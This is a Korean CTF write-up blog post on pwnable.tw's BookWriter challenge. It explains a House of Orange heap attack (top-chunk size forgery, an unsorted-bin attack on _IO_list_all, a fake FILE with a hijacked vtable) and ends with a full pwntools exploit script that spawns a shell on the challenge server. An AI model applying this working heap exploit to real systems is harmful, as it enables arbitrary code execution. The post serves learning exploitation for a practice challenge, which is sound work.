Recent Posts
Recent Comments
Link
«   2024/12   »
1 2 3 4 5 6 7
8 9 10 11 12 13 14
15 16 17 18 19 20 21
22 23 24 25 26 27 28
29 30 31
Tags
more
Archives
Today
Total
관리 메뉴

CIDY

[Pwnable.tw] BookWriter(Write-up, 오렌지농장) 본문

Hack/Pwnable

[Pwnable.tw] BookWriter(Write-up, 오렌지농장)

CIDY 2023. 3. 3. 18:02

첫 오렌지농장 문제였다. 😢🍊🍊

checksec

개인적으로 pie를 싫어한다. 없어서 굿.

 

2.23이네..

 

메뉴 문제다..

 

add

9개의 페이지를 작성할 수 있는 것 같다. 순서대로 차곡차곡 쌓아주는 듯. 

대충 메모리를 보아하니 602040부터 4바이트는 counter인것같음. 602060 ~ 6020a0까지는 author 0x40바이트고, 

6020a0 ~ 6020e0은 malloc주소 저장인데 8칸이다.. 아니 i가 0 1 2 3 4 5 6 7 8 이면 9개인데?? hmm

 

그리고 6020e0부터는 사이즈 저장해둠. 사이즈 첫 칸은 침범 가능할지도.. 

 

view

%s로 보여준다.

 

edit

read할때 저장해둔 사이즈를 기준으로 한다. 사이즈 저장 첫 칸은 매우 큰 값으로 조작할 수 있으므로 idx 0에 대해 오버플로우 발생 가능. 그리고 사이즈 조작이 아니더라도 0x28을 할당해서 꽉 채웠으면 strlen에서 다음 청크 size까지 붙어서 one byte overwrite도 가능할듯.

 

info

%s로 602060부터 쭉 보여준다. author 0x40꽉 채우고 첫칸 mmap하면 libc leak될듯.

 

립씨릭은 편하게 성공했고.. 오버플로우가 터져도 전부 힙쪽이니까 역시 hook overwrite가 정답인가..?

 

아 근데 페이지 add되는거 보니까 8개까지 가능이네..? 내가 for문 인덱스를 잘못 이해했나.. 아 size[0] == addr[8]에 값 들어있어서 break안걸려서 그런거구나.. 이거 잘 쓰면 힙 오버플로우는 무제한 가능할 것 같은데, 잘 쓸 수 있나..?

 

 

일단 그럼 취약점이 strlen의 1바이트 overwrite밖에 없음. 이걸로 저번처럼 unsorted취약점 발생시키면 될 듯? 아 근데 free가 없구나 tlqkf..

 

심심해서 chatGPT한테 물어봤는데 별 도움이 안 된다. 쟤 말대로 sign여부에서 이슈가 발생하려면 edit에서 v1이 signed라면 oob이슈가 가능한데, 그게 가능하면 author가 재수정 가능한 이유도 납득이 된다. 근데 가능해 보이지 않으니 문제.

 

그럼 진짜 1바이트 overwrite밖에 없나..? 직접적인 free를 이용하지 않고 플래그 조작만을 써서 뭘 하는건 무리다.. 다른 취약점이 존재할 것임..

 

근데 아무리 생각해봐도 이렇다 할 취약점은 다음 청크의 size조작밖에 없다.. 설마 house of force나 orange같은 문제인가..? 16.04는 취약하다보니 생각할 수 있는 방향이 많긴 할지도..free함수가 없으므로 오렌지농장 가능성을 생각해볼 만한 듯.. 오렌지 대강 이론만 알지 직접 써먹어 본 적도 없는데ㅠ

 

https://velog.io/@kunshim/House-of-orange-%EA%B8%B0%EB%B2%95

 

House of orange 분석

heap exploit의 끝판왕 house of orange 이다.

velog.io

house of orange관련해서는 위 링크에 체계적으로 설명되어 있어 참고하였다.

 

대강 공부하면서 익스해보자. 우선 house of orange는 free함수가 없고 탑청크까지 오버플로우를 일으킬 수 있을 때 사용할 수 있는 힙익스 기법이다. (18.04부터는 안 된다.)뼈대만 말하자면, __libc_message함수 내부에서 _IO_OVERFLOW함수가 호출될 때 fp로 _IO_list_all이 이용된다. 여기서 fp변조 -> vtable변조 -> system("/bin/sh") 이렇게 익스하게 되는 기법이다.

 

간략하게 요약해놔도 어질하다; 사실 vtable조작 자체가 이제는 그리 낯선 루트는 아니긴 하다지만 이걸 누가 실제 CTF에서 코드 분석해가며 익스할 생각을 했을까...

 

일단 house of orange에서의 릭 방법부터 알아보자. 이 문제에서는 다른 방식으로 간단히 릭했지만 공부하는 김에 알아두면 좋을 듯. 결론적으로는 sysmalloc의 동작 방식에 의해 릭이 가능하게 된다. 탑청크 사이즈를 특정 기준에 맞춰(헥스값기준 끝 3자리가 같으면 된다. 페이지의 단위가 되는 뒷 세 자리를 검사하는 루틴이 존재하기 때문) 변조해준 뒤, 탑청크보다 큰 할당을 요청할 경우, sbrk(세그먼트 확장 함수)를 호출하게 되는데, 이 과정에서 이전 탑청크가 해제되어 unsorted bin에 들어간다.

 

_int_malloc에서는 할당 요청이 들어왔을 때 unsortedbin을 탐색 후, 사용 가능한(내어줄 수 있는)청크가 아닌 경우 사이즈에 알맞은 bin(small bin이나 large bin)으로 분류한다.이정도는 사실 힙에서 청크가 어떤 사이즈일때 어디로 들어가고, 어떤 상황에서 병합 및 분할되며, 어떤 상황에서 bin을 옮기는지를 좀 유심이 봤다면 굳이 malloc.c를 다 뜯어보지 않았더라도 알 수 있는 내용이긴 하다.

 

근데 여기서부터는 코드를 좀 봐야 한다.https://elixir.bootlin.com/glibc/glibc-2.23/source/malloc/malloc.c#L3475

 

malloc.c - malloc/malloc.c - Glibc source code (glibc-2.23) - Bootlin

/* Malloc implementation for multiple threads without lock contention. Copyright (C) 1996-2016 Free Software Foundation, Inc. This file is part of the GNU C Library. Contributed by Wolfram Gloger and Doug Lea , 2001. The GNU C Library is free software; you

elixir.bootlin.com

malloc.c에서 unsortedbin처리 루틴 중 오류를 검사하는 부분이다.

 

 

예전에 2.31분석했던 글인데 검사 종류만 추가되었을 뿐 언소티드에서 다른 bin으로 정리한다는 큰 틀은 동일하다. 아무튼 2.23을 기준으로, 만약 청크 사이즈가 과하게 작거나 크면 터뜨리게 되는데 그 내부 루틴을 이용해서 익스하는 것 같다.

 

https://elixir.bootlin.com/glibc/glibc-2.23/source/malloc/malloc.c#L4988

 

malloc.c - malloc/malloc.c - Glibc source code (glibc-2.23) - Bootlin

/* Malloc implementation for multiple threads without lock contention. Copyright (C) 1996-2016 Free Software Foundation, Inc. This file is part of the GNU C Library. Contributed by Wolfram Gloger and Doug Lea , 2001. The GNU C Library is free software; you

elixir.bootlin.com

malloc_printerr함수이다. 몇줄안된다. 

 

abort()호출

 

https://elixir.bootlin.com/glibc/glibc-2.23/source/stdlib/abort.c#L50

 

abort.c - stdlib/abort.c - Glibc source code (glibc-2.23) - Bootlin

/* Copyright (C) 1991-2016 Free Software Foundation, Inc. This file is part of the GNU C Library. The GNU C Library is free software; you can redistribute it and/or modify it under the terms of the GNU Lesser General Public License as published by the Free

elixir.bootlin.com

 

fflush호출

 

https://elixir.bootlin.com/glibc/glibc-2.23/source/stdlib/abort.c#L34

 

abort.c - stdlib/abort.c - Glibc source code (glibc-2.23) - Bootlin

/* Copyright (C) 1991-2016 Free Software Foundation, Inc. This file is part of the GNU C Library. The GNU C Library is free software; you can redistribute it and/or modify it under the terms of the GNU Lesser General Public License as published by the Free

elixir.bootlin.com

다시 abort에서 fflush는 _IO_flush_all_lockp(0)

 

https://elixir.bootlin.com/glibc/glibc-2.23/source/libio/genops.c#L759

 

genops.c - libio/genops.c - Glibc source code (glibc-2.23) - Bootlin

 

elixir.bootlin.com

_IO_flush_all_lockp()

 

여기서 _IO_OVERFLOW가 실행되도록 해야 함. 779번째 if문이 786까지 이어지는데 _IO_OVERFLOW는 조건에 포함되니까 호출 자체는 그냥 될 줄 알았는데 779번째 조건을 충족해야 호출된다고 함. 왜지?

 

아무튼 fp->_mode <= 0 && fp->_IO_write_ptr > fp->_IO_write_base 를 만족해야 한다는 건데 fp어케 조작하지? fp를 조작할 생각하지말고 fp에 이상한 거 넣는게 더 빠를지도,,

struct _IO_jump_t
{
    JUMP_FIELD(size_t, __dummy);
    JUMP_FIELD(size_t, __dummy2);
    JUMP_FIELD(_IO_finish_t, __finish);
    JUMP_FIELD(_IO_overflow_t, __overflow);
    JUMP_FIELD(_IO_underflow_t, __underflow);
    JUMP_FIELD(_IO_underflow_t, __uflow);
    JUMP_FIELD(_IO_pbackfail_t, __pbackfail);
    /* ... */
    JUMP_FIELD(_IO_xsputn_t, __xsputn);
    JUMP_FIELD(_IO_xsgetn_t, __xsgetn);
    JUMP_FIELD(_IO_seekoff_t, __seekoff);
    JUMP_FIELD(_IO_seekpos_t, __seekpos);
    JUMP_FIELD(_IO_setbuf_t, __setbuf);
    JUMP_FIELD(_IO_sync_t, __sync);
    JUMP_FIELD(_IO_doallocate_t, __doallocate);
    JUMP_FIELD(_IO_read_t, __read);
    JUMP_FIELD(_IO_write_t, __write);
    JUMP_FIELD(_IO_seek_t, __seek);
    JUMP_FIELD(_IO_close_t, __close);
    JUMP_FIELD(_IO_stat_t, __stat);
    JUMP_FIELD(_IO_showmanyc_t, __showmanyc);
    JUMP_FIELD(_IO_imbue_t, __imbue);
};

아무튼 이거 조건 통과할때 fp에 있는 vtable주소까지 조작할 수 있으니까 _IO_OVERFLOW위치(_IO_overflow_t, +0x18)에 system넣고, fp 첫번째 매직값이랑 플래그 표시하는데 "/bin/sh\x00"적어주면 완성이다.

 

그럼 _IO_OVERFLOW호출에서 fp로 들어가는 _IO_list_all을 조작해야 한다. 이거 조작할 시간에 malloc hook덮으면 되지 않냐? -> 이게 abort()함수 루틴을 이용하는거라 돌아올 수 없는 강임ㅠㅠ 잘 세팅해서 1트에 끝낼 수 있도록 해야 한다.

 

일단 아까 말한 방법으로 탑청크를 해제시킬 수 있음. 여기서 탑청크의 bk에 _IO_list_all - 0x10의 주소를 넣고 할당 요청을 보내 _IO_list_all - 0x10의 fd부분, 즉 _IO_lsit_all을 언소티드에 연결시켜 main arena 주소 + 88을 넣을 수 있다.

 

여기서 할당 요청 보낼 때 오류를 트리거해야 하기 때문에 지금 탑청크 사이즈보다 큰 사이즈를 요청해야 한다고 한다. 일단 탑청크 뒷부분이 사이즈 조작으로 인해 정상적이지 않을테니 대강 오류가 발생한다는 건 알겠는데, 코드상 printerr가 호출되는 조건은 둘 중 하나다. 그리고 아마 여기서는 av->system_mem과의 비교에서 문제가 생기는 것 같은데, system_mem은 시스템에서 허용한 메모리 크기 정도로 알고 있었는데 hmm... 힙은 알수록 모르는 게 많아져서 재미있는 것 같다.

 

일단 탑청크가 탐색 후 smallbin[4]로 정리되도록 해줘야 한다. (이게 offset상 이유가 있다. _IO_list_all파일 구조체가 main_arena + 88인 상황에서, 파일 구조체의 _chain위치가 main_arena + 88을 기준으로 계산해보면 smallbin[4]를 관리하는 위치이기 때문이다.) 아무튼 smallbin[4]는 0x61이다. 뒷 세자리가 검증 대상이니 탑청크 사이즈가 0x~~061이 되도록 한 뒤, 사이즈 조작 진행해주면 될 것 같다. 그리고 이때 bk도 잘 조작돼있어야 함!

 

1. 탑청크 사이즈 조작

2. 더 크게 할당 요청

3. bk조작

4. 더 크게 할당 요청

 

근데 여기서 귀찮은 일이 생겼다. fp를 구성할 때 다음과 같이 해줘야 한다.

근데 저러려면 heap주소를 leak해야 한다. idx에서 제거하는 기능이 없으므로 앞서 내가 libc leak을 했던 방식으로 heap leak을 하고, libc leak은 그 오렌지 과정에서 해줘야 할 것 같다.

 

휴ㅠㅠㅠ 어떻게 사이즈들 잘 계산해줘서 성공.

 

새로 0x100을 할당 요청했는데 뭐가 다 꼬였다. ㅋㅋㅋ힙은 이맛에 하는거지ㅋ 그래도 bin에 청크가 들어간 것을 보니 가망이 보인다. 

 

사이즈를 좀 올려서 언소티드에 연결시켰다. 저거 할당해와서 립씨릭하면 됨.

 

다시조작해줌. 여기서 더 큰거 할당하면 0x90이 언소티드로 들어가니까 0x20할당해서 데려와주고 할당요청보내면 0x60은 스몰빈[4]으로 들어가는거 가능. 그런데 저기 값을 어떻게 써주지?

 

일단 언소티드에 들어있는 청크의 bk를 target - 0x10으로 조작해서 target = main arena + 88로 바꿔야 한다. 그리고 그 청크 내부에 fp를 구성하면 된다. 그럼 _IO_list_all fp자체를 내 fp로 조작하게 되는 것이다.. 

그러려면 어떻게든 탑청크 안에 값을 써야하는데... 헐 여기서 인덱스 오버플로우 -> 힙 오버플로우를 이용할 수 있을 것 같다!! 너무 초반에 발견한 취약점이라 깜박하고 있었음,, edit할때 0번청크해서 널바이트 넣어주면 strlen이 0을 반환하게 할 수 있다.

 

인덱스 오버플로우로 어떻게 잘 계산해서 덮었다. 그런데 여기서 할당 요청을 더 보내서 오류를 유발해야 하는데 오버플로우 일으킨다고 할당 기회를 모두 소진했는데;; 어쩌지? NULL로 싹 덮으니까 뭐가 되기는 됐는데 로되리안이다. 

 

립씨 적용해서 돌려봤는데 오버플로우는 일어나지만 size[0]만큼 못 읽어들인다;; 

rax를 보면... 0x10000만큼만 읽어들인 것 같다; 떨어진 거리를 생각하면 0x10000은 너무 부족한데? sbrk가 한번에 탑을 거의 0x20000씩 퍼주기 때문에; 탑 써서 립씨릭 한번 하면 간격이 너무 벌어진다.. 인자에 크게 들어가는건 확인했는데 왜 그만큼 읽어들이지를 못할까.

 

이렇게 된 이상 두 번의 언솔빈을 만드는 건 무리다.. 어차피 필요한건 해제된 언솔빈이니까 얘가 분할된다는 점을 이용해 립씨릭에 썼던 0x90짜리 청크를 한번에 할당해오지 말고 여러번에 쪼개 써야겠다.. 아 근데 인덱스 oob하려면 MIN SIZE로도 0x90은 부족..그냥 크게 해야겠다..

 

위 방식으로 성공은 했는데 또 로되리안이다;; 페이로드 길이를 엄청 줄였는데도 애가 여전히 뱉는다;; 0x1500도 안되는 길이인데.. 내가 봤을때 리모트 환경 문제가 아니고 size[0]에 길이가 정상적으로 들어있지 않은 듯 하다..

 

이걸 또 어떡하지 생각하다가 시작하자마자 info메뉴를 수행해서 scanf유발 -> 0x1010짜리 버퍼청크를 가장 위쪽에 위치시키는 방법을 택했다. 그럼 간격을 거의 없앨 수 있음.

from pwn import *

def add(size, cont):
    p.sendafter("Your choice :", "1")
    p.sendafter("Size of page :", str(size))
    p.sendafter("Content :", str(cont))

def view(idx):
    p.sendafter("Your choice :", "2")
    p.sendafter("Index of page :", str(idx))

def edit(idx, cont):
    p.sendafter("Your choice :", "3")
    p.sendafter("Index of page :", str(idx))
    p.sendafter("Content:", cont)

def _info(choice):
    p.sendafter("Your choice :", "4")
    p.sendlineafter("Do you want to change the author ? (yes:1 / no:0) ", str(choice))

#p = process("./bookwriter")
e = ELF("./bookwriter")
p = remote("chall.pwnable.tw", 10304)
libc = ELF("./libc_64.so.6")
#libc = e.libc

_data = b""
_data += b"A" * 0x40
p.sendafter("Author :", _data)
_info(0)

#heap leak
add(0x18, b"A") #0 
p.sendafter("Your choice :", "4")
p.recvuntil("Author : ")
p.recvn(0x40)

heap_base = u64(p.recvline()[:-1].ljust(8, b"\x00")) - 0x10
print(hex(heap_base))

p.sendlineafter("Do you want to change the author ? (yes:1 / no:0) ", str(0))

#libc leak(forgery top size for free..)
edit(0, b"A" * 0x18)
view(0)
p.recvline()
p.recvline()
p.recvn(0x18)
size = u32(p.recvline()[:-1].ljust(4, b"\x00"))
print(hex(size))

edit(0, b"A" * 0x18 + b"\xd1\x0f\x00")
add(0x1000, "A") #1 0x1000 > 0xfd0
add(0x18, "A" * 0x8) #2
view(2)

p.recvuntil("AAAAAAAA")
main_arena = u64(p.recvn(6) + b"\x00" * 2) - 1640
libc_base = main_arena - 0x10 - libc.sym['__malloc_hook']
print(hex(libc_base))
_IO_list_all = libc_base + libc.sym['_IO_list_all']
system = libc_base + libc.sym['system']

#exploit...
add(0x18, "A") #3
add(0x18, "A") #4
add(0x18, "A") #5
add(0x18, "A") #6
add(0x18, "A") #7

#invoke heap overflow..!
edit(0, b"\x00") #induce strlen to return 0 and makes size[0] -> 0
add(0x18, "A") #8

fp = b""
fp += p64(main_arena + 88) 
fp += p64(_IO_list_all - 0x10) 
fp += p64(0x2) #_IO_write_base
fp += p64(0x3) #_IO_write_ptr
fp += p64(0) * 0x6
#here should be vtable addr...
fp += p64(0) * 0x3
fp += p64(system)
fp += p64(0) * 0xb
fp += p64(heap_base + 0x160)

overflow = b""
overflow += p64(0)
overflow += b"A" * (0xf0 - 8)
overflow += b"/bin/sh\x00" + p64(0x61)
overflow += fp

sleep(1)
edit(0, overflow)
'''
p.sendafter("Your choice :", "1")
#p.sendlineafter("Size of page :", str(1))
'''
p.interactive()

마지막 malloc 오류 발생시키는 부분이 꼭 직접 입력해줘야 되길래;; 따로 해 줬다.

 

flag

우와.. 겨우 성공했다.. 처음 해보는 house of orange인데, 원래 힙트릭 따로 fsop따로 공부는 했어도 그걸 같이(unsorted bin attack + fsop)쓰려니까 어질어질하다...

 

299

드디어 3번째 페이지에 진입했다!

 

 

https://youngsouk-hack.tistory.com/56

 

sysmalloc() 분석(코드 분석&&순서도)

/* ----------- 시스템 할당을 다루기 위한 함수이다. -------------- */ /* sysmalloc은 시스템으로부터 더 많은 메모리를 요구하는 경우(즉 top chunk의 크기가 부족할 때) 실행된다. 시작부분에, av->top(top chunk

youngsouk-hack.tistory.com

아 그리고 이거 풀다가 생각한게,, sysmalloc 을 알면 좋을것같은데,, 나중에 힙 분석 새로 싹 해야겠다ㅠ 일단 위 링크 참고해서 대강 이해해주었다. 

'Hack > Pwnable' 카테고리의 다른 글

[Pwnable.tw] 3x17  (0) 2023.07.24
[Pwnable] Socket Programming  (0) 2023.04.05
[Pwnable.tw] Secret Of My Heart(Write-up)  (2) 2023.02.28
[Pwnable.tw] Starbound(Write-up)  (0) 2023.02.10
[Pwnable.tw] De-ASLR(Write-up 작성중)  (0) 2023.02.09